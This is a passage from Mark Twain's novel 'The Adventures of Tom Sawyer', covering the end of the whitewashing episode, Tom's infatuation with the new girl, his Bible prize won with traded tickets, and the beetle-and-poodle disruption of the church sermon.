a kitten with only one eye, a brass door- +knob, a dog-collar -- but no dog -- the handle of a knife, +four pieces of orange-peel, and a dilapidated old window +sash. + +He had had a nice, good, idle time all the while -- +plenty of company -- and the fence had three coats of +whitewash on it! If he hadn't run out of whitewash he +would have bankrupted every boy in the village. + +Tom said to himself that it was not such a hollow +world, after all. He had discovered a great law of +human action, without knowing it -- namely, that in +order to make a man or a boy covet a thing, it is only +necessary to make the thing difficult to attain. If +he had been a great and wise philosopher, like the +writer of this book, he would now have comprehended +that Work consists of whatever a body is OBLIGED to +do, and that Play consists of whatever a body is not +obliged to do. And this would help him to understand +why constructing artificial flowers or performing on a +tread-mill is work, while rolling ten-pins or climbing +Mont Blanc is only amusement. There are wealthy +gentlemen in England who drive four-horse passenger- +coaches twenty or thirty miles on a daily line, in the +summer, because the privilege costs them considerable +money; but if they were offered wages for the service, +that would turn it into work and then they would +resign. + +The boy mused awhile over the substantial change +which had taken place in his worldly circumstances, +and then wended toward headquarters to report. + + +CHAPTER III + +TOM presented himself before Aunt Polly, +who was sitting by an open window in a +pleasant rearward apartment, which was +bedroom, breakfast-room, dining-room, +and library, combined. The balmy sum- +mer air, the restful quiet, the odor of the +flowers, and the drowsing murmur of the bees had +had their effect, and she was nodding over her knit- +ting -- for she had no company but the cat, and it was +asleep in her lap. Her spectacles were propped up +on her gray head for safety. She had thought that of +course Tom had deserted long ago, and she wondered +at seeing him place himself in her power again in this +intrepid way. He said: "Mayn't I go and play now, +aunt?" + +"What, a'ready? How much have you done?" + +"It's all done, aunt." + +"Tom, don't lie to me -- I can't bear it." + +"I ain't, aunt; it IS all done." + +Aunt Polly placed small trust in such evidence. +She went out to see for herself; and she would have +been content to find twenty per cent. of Tom's state- +ment true. When she found the entire fence white- +washed, and not only whitewashed but elaborately +coated and recoated, and even a streak added to the +ground, her astonishment was almost unspeakable. +She said: + +"Well, I never! There's no getting round it, you +can work when you're a mind to, Tom." And then +she diluted the compliment by adding, "But it's power- +ful seldom you're a mind to, I'm bound to say. Well, +go 'long and play; but mind you get back some time in +a week, or I'll tan you." + +She was so overcome by the splendor of his achieve- +ment that she took him into the closet and selected a +choice apple and delivered it to him, along with an +improving lecture upon the added value and flavor +a treat took to itself when it came without sin through +virtuous effort. And while she closed with a happy +Scriptural flourish, he "hooked" a doughnut. + +Then he skipped out, and saw Sid just starting up +the outside stairway that led to the back rooms on +the second floor. Clods were handy and the air was +full of them in a twinkling. They raged around Sid +like a hail-storm; and before Aunt Polly could collect +her surprised faculties and sally to the rescue, six or +seven clods had taken personal effect, and Tom was +over the fence and gone. There was a gate, but as a +general thing he was too crowded for time to make use +of it. His soul was at peace, now that he had settled +with Sid for calling attention to his black thread and +getting him into trouble. + +Tom skirted the block, and came round into a +muddy alley that led by the back of his aunt's cow- +stable. He presently got safely beyond the reach +of capture and punishment, and hastened toward the +public square of the village, where two "military" +companies of boys had met for conflict, according +to previous appointment. Tom was General of one +of these armies, Joe Harper (a bosom friend) General +of the other. These two great commanders did not +condescend to fight in person -- that being better suited +to the still smaller fry -- but sat together on an eminence +and conducted the field operations by orders delivered +through aides-de-camp. Tom's army won a great +victory, after a long and hard-fought battle. Then +the dead were counted, prisoners exchanged, the terms +of the next disagreement agreed upon, and the day +for the necessary battle appointed; after which the +armies fell into line and marched away, and Tom turned +homeward alone. + +As he was passing by the house where Jeff Thatcher +lived, he saw a new girl in the garden -- a lovely little +blue-eyed creature with yellow hair plaited into two +long-tails, white summer frock and embroidered pan- +talettes. The fresh-crowned hero fell without firing +a shot. A certain Amy Lawrence vanished out of his +heart and left not even a memory of herself behind. +He had thought he loved her to distraction; he had +regarded his passion as adoration; and behold it was +only a poor little evanescent partiality. He had been +months winning her; she had confessed hardly a week +ago; he had been the happiest and the proudest boy in +the world only seven short days, and here in one instant +of time she had gone out of his heart like a casual +stranger whose visit is done. + +He worshipped this new angel with furtive eye, till +he saw that she had discovered him; then he pre- +tended he did not know she was present, and began +to "show off" in all sorts of absurd boyish ways, in +order to win her admiration. He kept up this grotesque +foolishness for some time; but by-and-by, while he was +in the midst of some dangerous gymnastic performances, +he glanced aside and saw that the little girl was wending +her way toward the house. Tom came up to the +fence and leaned on it, grieving, and hoping she would +tarry yet awhile longer. She halted a moment on the +steps and then moved toward the door. Tom heaved +a great sigh as she put her foot on the threshold. But +his face lit up, right away, for she tossed a pansy over the +fence a moment before she disappeared. + +The boy ran around and stopped within a foot or +two of the flower, and then shaded his eyes with his +hand and began to look down street as if he had dis- +covered something of interest going on in that direction. +Presently he picked up a straw and began trying to +balance it on his nose, with his head tilted far back; +and as he moved from side to side, in his efforts, he +edged nearer and nearer toward the pansy; finally his +bare foot rested upon it, his pliant toes closed upon it, +and he hopped away with the treasure and disappeared +round the corner. But only for a minute -- only while +he could button the flower inside his jacket, next his +heart -- or next his stomach, possibly, for he was not +much posted in anatomy, and not hypercritical, any- +way. + +He returned, now, and hung about the fence till +nightfall, "showing off," as before; but the girl never +exhibited herself again, though Tom comforted him- +self a little with the hope that she had been near some +window, meantime, and been aware of his attentions. +Finally he strode home reluctantly, with his poor head +full of visions. + +All through supper his spirits were so high that +his aunt wondered "what had got into the child." He +took a good scolding about clodding Sid, and did not +seem to mind it in the least. He tried to steal sugar +under his aunt's very nose, and got his knuckles rapped +for it. He said: + +"Aunt, you don't whack Sid when he takes it." + +"Well, Sid don't torment a body the way you do. +You'd be always into that sugar if I warn't watching +you." + +Presently she stepped into the kitchen, and Sid, +happy in his immunity, reached for the sugar-bowl -- +a sort of glorying over Tom which was wellnigh un- +bearable. But Sid's fingers slipped and the bowl +dropped and broke. Tom was in ecstasies. In such +ecstasies that he even controlled his tongue and was +silent. He said to himself that he would not speak +a word, even when his aunt came in, but would sit per- +fectly still till she asked who did the mischief; and then +he would tell, and there would be nothing so good in +the world as to see that pet model "catch it." He was +so brimful of exultation that he could hardly hold him- +self when the old lady came back and stood above the +wreck discharging lightnings of wrath from over her +spectacles. He said to himself, "Now it's coming!" +And the next instant he was sprawling on the floor! +The potent palm was uplifted to strike again when +Tom cried out: + +"Hold on, now, what 'er you belting ME for? -- Sid +broke it!" + +Aunt Polly paused, perplexed, and Tom looked +for healing pity. But when she got her tongue again, +she only said: + +"Umf! Well, you didn't get a lick amiss, I reckon. +You been into some other audacious mischief when I +wasn't around, like enough." + +Then her conscience reproached her, and she yearned +to say something kind and loving; but she judged +that this would be construed into a confession that she +had been in the wrong, and discipline forbade that. +So she kept silence, and went about her affairs with +a troubled heart. Tom sulked in a corner and exalted +his woes. He knew that in her heart his aunt was on +her knees to him, and he was morosely gratified by the +consciousness of it. He would hang out no signals, he +would take notice of none. He knew that a yearning +glance fell upon him, now and then, through a film of +tears, but he refused recognition of it. He pictured him- +self lying sick unto death and his aunt bending over him +beseeching one little forgiving word, but he would +turn his face to the wall, and die with that word unsaid. +Ah, how would she feel then? And he pictured himself +brought home from the river, dead, with his curls all +wet, and his sore heart at rest. How she would throw +herself upon him, and how her tears would fall like +rain, and her lips pray God to give her back her boy +and she would never, never abuse him any more! +But he would lie there cold and white and make no +sign -- a poor little sufferer, whose griefs were at an +end. He so worked upon his feelings with the pathos +of these dreams, that he had to keep swallowing, he +was so like to choke; and his eyes swam in a blur of +water, which overflowed when he winked, and ran +down and trickled from the end of his nose. And such +a luxury to him was this petting of his sorrows, that he +could not bear to have any worldly cheeriness or any +grating delight intrude upon it; it was too sacred +for such contact; and so, presently, when his cousin +Mary danced in, all alive with the joy of seeing home +again after an age-long visit of one week to the country, +he got up and moved in clouds and darkness out at +one door as she brought song and sunshine in at the +other. + +He wandered far from the accustomed haunts of +boys, and sought desolate places that were in har- +mony with his spirit. A log raft in the river invited +him, and he seated himself on its outer edge and +contemplated the dreary vastness of the stream, wish- +ing, the while, that he could only be drowned, all at +once and unconsciously, without undergoing the un- +comfortable routine devised by nature. Then he +thought of his flower. He got it out, rumpled and +wilted, and it mightily increased his dismal felicity. +He wondered if she would pity him if she knew? +Would she cry, and wish that she had a right to put +her arms around his neck and comfort him? Or +would she turn coldly away like all the hollow world? +This picture brought such an agony of pleasurable suf- +fering that he worked it over and over again in his mind +and set it up in new and varied lights, till he wore it +threadbare. At last he rose up sighing and departed +in the darkness. + +About half-past nine or ten o'clock he came along +the deserted street to where the Adored Unknown +lived; he paused a moment; no sound fell upon his +listening ear; a candle was casting a dull glow upon +the curtain of a second-story window. Was the +sacred presence there? He climbed the fence, threaded +his stealthy way through the plants, till he stood under +that window; he looked up at it long, and with emotion; +then he laid him down on the ground under it, dis- +posing himself upon his back, with his hands clasped +upon his breast and holding his poor wilted flower. +And thus he would die -- out in the cold world, with no +shelter over his homeless head, no friendly hand to +wipe the death-damps from his brow, no loving face to +bend pityingly over him when the great agony came. +And thus SHE would see him when she looked out upon +the glad morning, and oh! would she drop one little +tear upon his poor, lifeless form, would she heave +one little sigh to see a bright young life so rudely blight- +ed, so untimely cut down? + +The window went up, a maid-servant's discordant +voice profaned the holy calm, and a deluge of water +drenched the prone martyr's remains! + +The strangling hero sprang up with a relieving +snort. There was a whiz as of a missile in the air, +mingled with the murmur of a curse, a sound as of +shivering glass followed, and a small, vague form went +over the fence and shot away in the gloom. + +Not long after, as Tom, all undressed for bed, was +surveying his drenched garments by the light of a +tallow dip, Sid woke up; but if he had any dim idea of +making any "references to allusions," he thought better +of it and held his peace, for there was danger in Tom's +eye. + +Tom turned in without the added vexation of prayers, +and Sid made mental note of the omission. + + +CHAPTER IV + +THE sun rose upon a tranquil world, and +beamed down upon the peaceful village +like a benediction. Breakfast over, Aunt +Polly had family worship: it began with a +prayer built from the ground up of solid +courses of Scriptural quotations, welded +together with a thin mortar of originality; and from +the summit of this she delivered a grim chapter of the +Mosaic Law, as from Sinai. + +Then Tom girded up his loins, so to speak, and +went to work to "get his verses." Sid had learned +his lesson days before. Tom bent all his energies to +the memorizing of five verses, and he chose part of +the Sermon on the Mount, because he could find no +verses that were shorter. At the end of half an hour +Tom had a vague general idea of his lesson, but no +more, for his mind was traversing the whole field of +human thought, and his hands were busy with dis- +tracting recreations. Mary took his book to hear +him recite, and he tried to find his way through the +fog: + +"Blessed are the -- a -- a --" + +"Poor" -- + +"Yes -- poor; blessed are the poor -- a -- a --" + +"In spirit --" + +"In spirit; blessed are the poor in spirit, for they -- +they --" + +"THEIRS --" + +"For THEIRS. Blessed are the poor in spirit, for theirs +is the kingdom of heaven. Blessed are they that mourn, +for they -- they --" + +"Sh --" + +"For they -- a --" + +"S, H, A --" + +"For they S, H -- Oh, I don't know what it is!" + +"SHALL!" + +"Oh, SHALL! for they shall -- for they shall -- a -- a -- +shall mourn -- a-- a -- blessed are they that shall -- they +that -- a -- they that shall mourn, for they shall -- a -- shall +WHAT? Why don't you tell me, Mary? -- what do you +want to be so mean for?" + +"Oh, Tom, you poor thick-headed thing, I'm not +teasing you. I wouldn't do that. You must go and +learn it again. Don't you be discouraged, Tom, you'll +manage it -- and if you do, I'll give you something ever +so nice. There, now, that's a good boy." + +"All right! What is it, Mary, tell me what it is." + +"Never you mind, Tom. You know if I say it's +nice, it is nice." + +"You bet you that's so, Mary. All right, I'll tackle +it again." + +And he did "tackle it again" -- and under the double +pressure of curiosity and prospective gain he did it +with such spirit that he accomplished a shining success. +Mary gave him a brand-new "Barlow" knife worth +twelve and a half cents; and the convulsion of delight +that swept his system shook him to his foundations. +True, the knife would not cut anything, but it was a +"sure-enough" Barlow, and there was inconceivable +grandeur in that -- though where the Western boys ever +got the idea that such a weapon could possibly be +counterfeited to its injury is an imposing mystery and +will always remain so, perhaps. Tom contrived to +scarify the cupboard with it, and was arranging to begin +on the bureau, when he was called off to dress for +Sunday-school. + +Mary gave him a tin basin of water and a piece of +soap, and he went outside the door and set the basin +on a little bench there; then he dipped the soap in +the water and laid it down; turned up his sleeves; +poured out the water on the ground, gently, and then +entered the kitchen and began to wipe his face diligently +on the towel behind the door. But Mary removed +the towel and said: + +"Now ain't you ashamed, Tom. You mustn't be +so bad. Water won't hurt you." + +Tom was a trifle disconcerted. The basin was +refilled, and this time he stood over it a little while, +gathering resolution; took in a big breath and began. +When he entered the kitchen presently, with both +eyes shut and groping for the towel with his hands, +an honorable testimony of suds and water was dripping +from his face. But when he emerged from the towel, +he was not yet satisfactory, for the clean territory +stopped short at his chin and his jaws, like a mask; +below and beyond this line there was a dark expanse +of unirrigated soil that spread downward in front and +backward around his neck. Mary took him in hand, +and when she was done with him he was a man and a +brother, without distinction of color, and his saturated +hair was neatly brushed, and its short curls wrought +into a dainty and symmetrical general effect. [He +privately smoothed out the curls, with labor and dif- +ficulty, and plastered his hair close down to his head; +for he held curls to be effeminate, and his own filled his +life with bitterness.] Then Mary got out a suit of +his clothing that had been used only on Sundays during +two years -- they were simply called his "other clothes" +-- and so by that we know the size of his wardrobe. +The girl "put him to rights" after he had dressed him- +self; she buttoned his neat roundabout up to his chin, +turned his vast shirt collar down over his shoulders, +brushed him off and crowned him with his speckled +straw hat. He now looked exceedingly improved and +uncomfortable. He was fully as uncomfortable as he +looked; for there was a restraint about whole clothes +and cleanliness that galled him. He hoped that Mary +would forget his shoes, but the hope was blighted; she +coated them thoroughly with tallow, as was the custom, +and brought them out. He lost his temper and said +he was always being made to do everything he didn't +want to do. But Mary said, persuasively: + +"Please, Tom -- that's a good boy." + +So he got into the shoes snarling. Mary was soon +ready, and the three children set out for Sunday-school +-- a place that Tom hated with his whole heart; but Sid +and Mary were fond of it. + +Sabbath-school hours were from nine to half-past +ten; and then church service. Two of the children +always remained for the sermon voluntarily, and the +other always remained too -- for stronger reasons. +The church's high-backed, uncushioned pews would +seat about three hundred persons; the edifice was but +a small, plain affair, with a sort of pine board tree-box +on top of it for a steeple. At the door Tom dropped +back a step and accosted a Sunday-dressed comrade: + +"Say, Billy, got a yaller ticket?" + +"Yes." + +"What'll you take for her?" + +"What'll you give?" + +"Piece of lickrish and a fish-hook." + +"Less see 'em." + +Tom exhibited. They were satisfactory, and the +property changed hands. Then Tom traded a couple +of white alleys for three red tickets, and some small +trifle or other for a couple of blue ones. He waylaid +other boys as they came, and went on buying tickets +of various colors ten or fifteen minutes longer. He +entered the church, now, with a swarm of clean and +noisy boys and girls, proceeded to his seat and started +a quarrel with the first boy that came handy. The +teacher, a grave, elderly man, interfered; then turned his +back a moment and Tom pulled a boy's hair in the next +bench, and was absorbed in his book when the boy +turned around; stuck a pin in another boy, presently, +in order to hear him say "Ouch!" and got a new +reprimand from his teacher. Tom's whole class were +of a pattern -- restless, noisy, and troublesome. When +they came to recite their lessons, not one of them knew +his verses perfectly, but had to be prompted all along. +However, they worried through, and each got his reward +-- in small blue tickets, each with a passage of Scripture +on it; each blue ticket was pay for two verses of the +recitation. Ten blue tickets equalled a red one, and +could be exchanged for it; ten red tickets equalled a +yellow one; for ten yellow tickets the superintendent +gave a very plainly bound Bible (worth forty cents in +those easy times) to the pupil. How many of my +readers would have the industry and application to +memorize two thousand verses, even for a Dore Bible? +And yet Mary had acquired two Bibles in this way -- it +was the patient work of two years -- and a boy of Ger- +man parentage had won four or five. He once recited +three thousand verses without stopping; but the strain +upon his mental faculties was too great, and he was +little better than an idiot from that day forth -- a +grievous misfortune for the school, for on great occa- +sions, before company, the superintendent (as Tom +expressed it) had always made this boy come out +and "spread himself." Only the older pupils managed +to keep their tickets and stick to their tedious work long +enough to get a Bible, and so the delivery of one of these +prizes was a rare and noteworthy circumstance; the +successful pupil was so great and conspicuous for that +day that on the spot every scholar's heart was fired with +a fresh ambition that often lasted a couple of weeks. +It is possible that Tom's mental stomach had never +really hungered for one of those prizes, but unques- +tionably his entire being had for many a day longed for +the glory and the eclat that came with it. + +In due course the superintendent stood up in front +of the pulpit, with a closed hymn-book in his hand +and his forefinger inserted between its leaves, and +commanded attention. When a Sunday-school superin- +tendent makes his customary little speech, a hymn-book +in the hand is as necessary as is the inevitable sheet of +music in the hand of a singer who stands forward on +the platform and sings a solo at a concert -- though +why, is a mystery: for neither the hymn-book nor the +sheet of music is ever referred to by the sufferer. This +superintendent was a slim creature of thirty-five, with +a sandy goatee and short sandy hair; he wore a stiff +standing-collar whose upper edge almost reached his +ears and whose sharp points curved forward abreast the +corners of his mouth -- a fence that compelled a straight +lookout ahead, and a turning of the whole body when a +side view was required; his chin was propped on a +spreading cravat which was as broad and as long as a +bank-note, and had fringed ends; his boot toes were +turned sharply up, in the fashion of the day, like sleigh- +runners -- an effect patiently and laboriously produced +by the young men by sitting with their toes pressed +against a wall for hours together. Mr. Walters was +very earnest of mien, and very sincere and honest at +heart; and he held sacred things and places in such +reverence, and so separated them from worldly matters, +that unconsciously to himself his Sunday-school voice +had acquired a peculiar intonation which was wholly +absent on week-days. He began after this fashion: + +"Now, children, I want you all to sit up just as +straight and pretty as you can and give me all your +attention for a minute or two. There -- that is it. +That is the way good little boys and girls should do. +I see one little girl who is looking out of the window +-- I am afraid she thinks I am out there somewhere -- +perhaps up in one of the trees making a speech to the +little birds. [Applausive titter.] I want to tell you +how good it makes me feel to see so many bright, clean +little faces assembled in a place like this, learning to +do right and be good." And so forth and so on. It +is not necessary to set down the rest of the oration. +It was of a pattern which does not vary, and so it is +familiar to us all. + +The latter third of the speech was marred by the +resumption of fights and other recreations among +certain of the bad boys, and by fidgetings and whis- +perings that extended far and wide, washing even to +the bases of isolated and incorruptible rocks like +Sid and Mary. But now every sound ceased suddenly, +with the subsidence of Mr. Walters' voice, and the con- +clusion of the speech was received with a burst of silent +gratitude. + +A good part of the whispering had been occasioned +by an event which was more or less rare -- the entrance +of visitors: lawyer Thatcher, accompanied by a very +feeble and aged man; a fine, portly, middle-aged gentle- +man with iron-gray hair; and a dignified lady who was +doubtless the latter's wife. The lady was leading a +child. Tom had been restless and full of chafings and +repinings; conscience-smitten, too -- he could not meet +Amy Lawrence's eye, he could not brook her loving +gaze. But when he saw this small new-comer his soul +was all ablaze with bliss in a moment. The next +moment he was "showing off" with all his might -- +cuffing boys, pulling hair, making faces -- in a word, +using every art that seemed likely to fascinate a girl and +win her applause. His exaltation had but one alloy +-- the memory of his humiliation in this angel's garden +-- and that record in sand was fast washing out, under +the waves of happiness that were sweeping over it now. + +The visitors were given the highest seat of honor, +and as soon as Mr. Walters' speech was finished, he +introduced them to the school. The middle-aged +man turned out to be a prodigious personage -- no less +a one than the county judge -- altogether the most +august creation these children had ever looked upon -- +and they wondered what kind of material he was made +of -- and they half wanted to hear him roar, and were +half afraid he might, too. He was from Constantinople, +twelve miles away -- so he had travelled, and seen the +world -- these very eyes had looked upon the county +court-house -- which was said to have a tin roof. The +awe which these reflections inspired was attested by the +impressive silence and the ranks of staring eyes. This +was the great Judge Thatcher, brother of their own +lawyer. Jeff Thatcher immediately went forward, to +be familiar with the great man and be envied by the +school. It would have been music to his soul to hear +the whisperings: + +"Look at him, Jim! He's a going up there. Say -- +look! he's a going to shake hands with him -- he IS +shaking hands with him! By jings, don't you wish you +was Jeff?" + +Mr. Walters fell to "showing off," with all sorts of +official bustlings and activities, giving orders, de- +livering judgments, discharging directions here, there, +everywhere that he could find a target. The librarian +"showed off" -- running hither and thither with his arms +full of books and making a deal of the splutter and +fuss that insect authority delights in. The young lady +teachers "showed off" -- bending sweetly over pupils +that were lately being boxed, lifting pretty warning +fingers at bad little boys and patting good ones lovingly. +The young gentlemen teachers "showed off" with +small scoldings and other little displays of authority +and fine attention to discipline -- and most of the +teachers, of both sexes, found business up at the library, +by the pulpit; and it was business that frequently had +to be done over again two or three times (with much +seeming vexation). The little girls "showed off" in +various ways, and the little boys "showed off" with such +diligence that the air was thick with paper wads and +the murmur of scufflings. And above it all the great +man sat and beamed a majestic judicial smile upon all +the house, and warmed himself in the sun of his own +grandeur -- for he was "showing off," too. + +There was only one thing wanting to make Mr. +Walters' ecstasy complete, and that was a chance to +deliver a Bible-prize and exhibit a prodigy. Several +pupils had a few yellow tickets, but none had enough +-- he had been around among the star pupils inquiring. +He would have given worlds, now, to have that German +lad back again with a sound mind. + +And now at this moment, when hope was dead, +Tom Sawyer came forward with nine yellow tickets, +nine red tickets, and ten blue ones, and demanded a +Bible. This was a thunderbolt out of a clear sky. +Walters was not expecting an application from this +source for the next ten years. But there was no +getting around it -- here were the certified checks, +and they were good for their face. Tom was there- +fore elevated to a place with the Judge and the other +elect, and the great news was announced from head- +quarters. It was the most stunning surprise of the +decade, and so profound was the sensation that it +lifted the new hero up to the judicial one's altitude, +and the school had two marvels to gaze upon in place +of one. The boys were all eaten up with envy -- but +those that suffered the bitterest pangs were those who +perceived too late that they themselves had contributed +to this hated splendor by trading tickets to Tom for +the wealth he had amassed in selling whitewashing +privileges. These despised themselves, as being the +dupes of a wily fraud, a guileful snake in the grass. + +The prize was delivered to Tom with as much +effusion as the superintendent could pump up under +the circumstances; but it lacked somewhat of the true +gush, for the poor fellow's instinct taught him that there +was a mystery here that could not well bear the light, +perhaps; it was simply preposterous that this boy had +warehoused two thousand sheaves of Scriptural wisdom +on his premises -- a dozen would strain his capacity, +without a doubt. + +Amy Lawrence was proud and glad, and she tried to +make Tom see it in her face -- but he wouldn't look. +She wondered; then she was just a grain troubled; next +a dim suspicion came and went -- came again; she +watched; a furtive glance told her worlds -- and then +her heart broke, and she was jealous, and angry, and +the tears came and she hated everybody. Tom most of +all (she thought). + +Tom was introduced to the Judge; but his tongue +was tied, his breath would hardly come, his heart +quaked -- partly because of the awful greatness of +the man, but mainly because he was her parent. He +would have liked to fall down and worship him, if it +were in the dark. The Judge put his hand on Tom's +head and called him a fine little man, and asked him +what his name was. The boy stammered, gasped, and +got it out: + +"Tom." + +"Oh, no, not Tom -- it is --" + +"Thomas." + +"Ah, that's it. I thought there was more to it, +maybe. That's very well. But you've another one +I daresay, and you'll tell it to me, won't you?" + +"Tell the gentleman your other name, Thomas," +said Walters, "and say sir. You mustn't forget +your manners." + +"Thomas Sawyer -- sir." + +"That's it! That's a good boy. Fine boy. Fine, +manly little fellow. Two thousand verses is a great +many -- very, very great many. And you never can be +sorry for the trouble you took to learn them; for knowl- +edge is worth more than anything there is in the world; +it's what makes great men and good men; you'll be a +great man and a good man yourself, some day, Thomas, +and then you'll look back and say, It's all owing to the +precious Sunday-school privileges of my boyhood -- it's +all owing to my dear teachers that taught me to learn +-- it's all owing to the good superintendent, who en- +couraged me, and watched over me, and gave me +a beautiful Bible -- a splendid elegant Bible -- to keep +and have it all for my own, always -- it's all owing to +right bringing up! That is what you will say, Thomas +-- and you wouldn't take any money for those two +thousand verses -- no indeed you wouldn't. And now +you wouldn't mind telling me and this lady some of +the things you've learned -- no, I know you wouldn't +-- for we are proud of little boys that learn. Now, no +doubt you know the names of all the twelve disciples. +Won't you tell us the names of the first two that were +appointed?" + +Tom was tugging at a button-hole and looking +sheepish. He blushed, now, and his eyes fell. Mr. +Walters' heart sank within him. He said to himself, +it is not possible that the boy can answer the simplest +question -- why DID the Judge ask him? Yet he felt +obliged to speak up and say: + +"Answer the gentleman, Thomas -- don't be afraid." + +Tom still hung fire. + +"Now I know you'll tell me," said the lady. "The +names of the first two disciples were --" + +"DAVID AND GOLIAH!" + +Let us draw the curtain of charity over the rest of +the scene. + + +CHAPTER V + +ABOUT half-past ten the cracked bell of +the small church began to ring, and pres- +ently the people began to gather for the +morning sermon. The Sunday-school +children distributed themselves about the +house and occupied pews with their par- +ents, so as to be under supervision. Aunt Polly came, +and Tom and Sid and Mary sat with her -- Tom being +placed next the aisle, in order that he might be as +far away from the open window and the seductive +outside summer scenes as possible. The crowd filed +up the aisles: the aged and needy postmaster, who +had seen better days; the mayor and his wife -- for +they had a mayor there, among other unnecessaries; +the justice of the peace; the widow Douglass, fair, +smart, and forty, a generous, good-hearted soul and +well-to-do, her hill mansion the only palace in the +town, and the most hospitable and much the most +lavish in the matter of festivities that St. Petersburg +could boast; the bent and venerable Major and Mrs. +Ward; lawyer Riverson, the new notable from a dis- +tance; next the belle of the village, followed by a troop +of lawn-clad and ribbon-decked young heart-breakers; +then all the young clerks in town in a body -- for they +had stood in the vestibule sucking their cane-heads, a +circling wall of oiled and simpering admirers, till the +last girl had run their gantlet; and last of all came +the Model Boy, Willie Mufferson, taking as heedful +care of his mother as if she were cut glass. He always +brought his mother to church, and was the pride of all +the matrons. The boys all hated him, he was so good. +And besides, he had been "thrown up to them" so +much. His white handkerchief was hanging out of his +pocket behind, as usual on Sundays -- accidentally. +Tom had no handkerchief, and he looked upon boys +who had as snobs. + +The congregation being fully assembled, now, the +bell rang once more, to warn laggards and stragglers, +and then a solemn hush fell upon the church which +was only broken by the tittering and whispering of +the choir in the gallery. The choir always tittered +and whispered all through service. There was once +a church choir that was not ill-bred, but I have for- +gotten where it was, now. It was a great many years +ago, and I can scarcely remember anything about it, +but I think it was in some foreign country. + +The minister gave out the hymn, and read it through +with a relish, in a peculiar style which was much ad- +mired in that part of the country. His voice began +on a medium key and climbed steadily up till it reached +a certain point, where it bore with strong emphasis upon +the topmost word and then plunged down as if from a +spring-board: + + Shall I be car-ri-ed toe the skies, on flow'ry BEDS + of ease, + + Whilst others fight to win the prize, and sail thro' BLOOD- + y seas? + +He was regarded as a wonderful reader. At church +"sociables" he was always called upon to read poetry; +and when he was through, the ladies would lift up their +hands and let them fall helplessly in their laps, and +"wall" their eyes, and shake their heads, as much as +to say, "Words cannot express it; it is too beautiful, +TOO beautiful for this mortal earth." + +After the hymn had been sung, the Rev. Mr. Sprague +turned himself into a bulletin-board, and read off +"notices" of meetings and societies and things till it +seemed that the list would stretch out to the crack of +doom -- a queer custom which is still kept up in America, +even in cities, away here in this age of abundant news- +papers. Often, the less there is to justify a traditional +custom, the harder it is to get rid of it. + +And now the minister prayed. A good, generous +prayer it was, and went into details: it pleaded for +the church, and the little children of the church; for +the other churches of the village; for the village itself; +for the county; for the State; for the State officers; for +the United States; for the churches of the United States; +for Congress; for the President; for the officers of the +Government; for poor sailors, tossed by stormy seas; +for the oppressed millions groaning under the heel of +European monarchies and Oriental despotisms; for such +as have the light and the good tidings, and yet have not +eyes to see nor ears to hear withal; for the heathen in the +far islands of the sea; and closed with a supplication that +the words he was about to speak might find grace and +favor, and be as seed sown in fertile ground, yielding +in time a grateful harvest of good. Amen. + +There was a rustling of dresses, and the standing +congregation sat down. The boy whose history this +book relates did not enjoy the prayer, he only en- +dured it -- if he even did that much. He was restive +all through it; he kept tally of the details of the prayer, +unconsciously -- for he was not listening, but he knew +the ground of old, and the clergyman's regular route +over it -- and when a little trifle of new matter was in- +terlarded, his ear detected it and his whole nature re- +sented it; he considered additions unfair, and scoun- +drelly. In the midst of the prayer a fly had lit on the +back of the pew in front of him and tortured his spirit +by calmly rubbing its hands together, embracing its +head with its arms, and polishing it so vigorously that +it seemed to almost part company with the body, and +the slender thread of a neck was exposed to view; +scraping its wings with its hind legs and smoothing +them to its body as if they had been coat-tails; going +through its whole toilet as tranquilly as if it knew it was +perfectly safe. As indeed it was; for as sorely as Tom's +hands itched to grab for it they did not dare -- he believed +his soul would be instantly destroyed if he did such +a thing while the prayer was going on. But with +the closing sentence his hand began to curve and steal +forward; and the instant the "Amen" was out the fly +was a prisoner of war. His aunt detected the act and +made him let it go. + +The minister gave out his text and droned along +monotonously through an argument that was so prosy +that many a head by and by began to nod -- and yet +it was an argument that dealt in limitless fire and +brimstone and thinned the predestined elect down to a +company so small as to be hardly worth the saving. +Tom counted the pages of the sermon; after church he +always knew how many pages there had been, but he +seldom knew anything else about the discourse. How- +ever, this time he was really interested for a little while. +The minister made a grand and moving picture of the +assembling together of the world's hosts at the millen- +nium when the lion and the lamb should lie down to- +gether and a little child should lead them. But the +pathos, the lesson, the moral of the great spectacle were +lost upon the boy; he only thought of the conspicuous- +ness of the principal character before the on-looking +nations; his face lit with the thought, and he said to +himself that he wished he could be that child, if it was +a tame lion. + +Now he lapsed into suffering again, as the dry argu- +ment was resumed. Presently he bethought him of a +treasure he had and got it out. It was a large black +beetle with formidable jaws -- a "pinchbug," he called +it. It was in a percussion-cap box. The first thing +the beetle did was to take him by the finger. A natural +fillip followed, the beetle went floundering into the +aisle and lit on its back, and the hurt finger went into +the boy's mouth. The beetle lay there working its +helpless legs, unable to turn over. Tom eyed it, and +longed for it; but it was safe out of his reach. Other +people uninterested in the sermon found relief in the +beetle, and they eyed it too. Presently a vagrant poodle +dog came idling along, sad at heart, lazy with the +summer softness and the quiet, weary of captivity, sigh- +ing for change. He spied the beetle; the drooping tail +lifted and wagged. He surveyed the prize; walked +around it; smelt at it from a safe distance; walked around +it again; grew bolder, and took a closer smell; then +lifted his lip and made a gingerly snatch at it, just +missing it; made another, and another; began to enjoy +the diversion; subsided to his stomach with the beetle +between his paws, and continued his experiments; grew +weary at last, and then indifferent and absent-minded. +His head nodded, and little by little his chin descended +and touched the enemy, who seized it. There was a +sharp yelp, a flirt of the poodle's head, and the beetle +fell a couple of yards away, and lit on its back once +more. The neighboring spectators shook with a gentle +inward joy, several faces went behind fans and hand- +kerchiefs, and Tom was entirely happy. The dog +looked foolish, and probably felt so; but there was +resentment in his heart, too, and a craving for revenge. +So he went to the beetle and began a wary attack on it +again; jumping at it from every point of a circle, light- +ing with his fore-paws within an inch of the creature, +making even closer snatches at it with his teeth, and +jerking his head till his ears flapped again. But he +grew tired once more, after a while; tried to amuse him- +self with a fly but found no relief; followed an ant around, +with his nose close to the floor, and quickly wearied of +that; yawned, sighed, forgot the beetle entirely, and sat +down on it. Then there was a wild yelp of agony and +the poodle went sailing up the aisle; the yelps continued, +and so did the dog; he crossed the house in front of the +altar; he flew down the other aisle; he crossed before +the doors; he clamored up the home-stretch; his +anguish grew with his progress, till presently he was +but a woolly comet moving in its orbit with the gleam +and the speed of light. At last the frantic sufferer +sheered from its course, and sprang into its master's +lap; he flung it out of the window, and the voice of +distress quickly thinned away and died in the dis- +tance. + +By this time 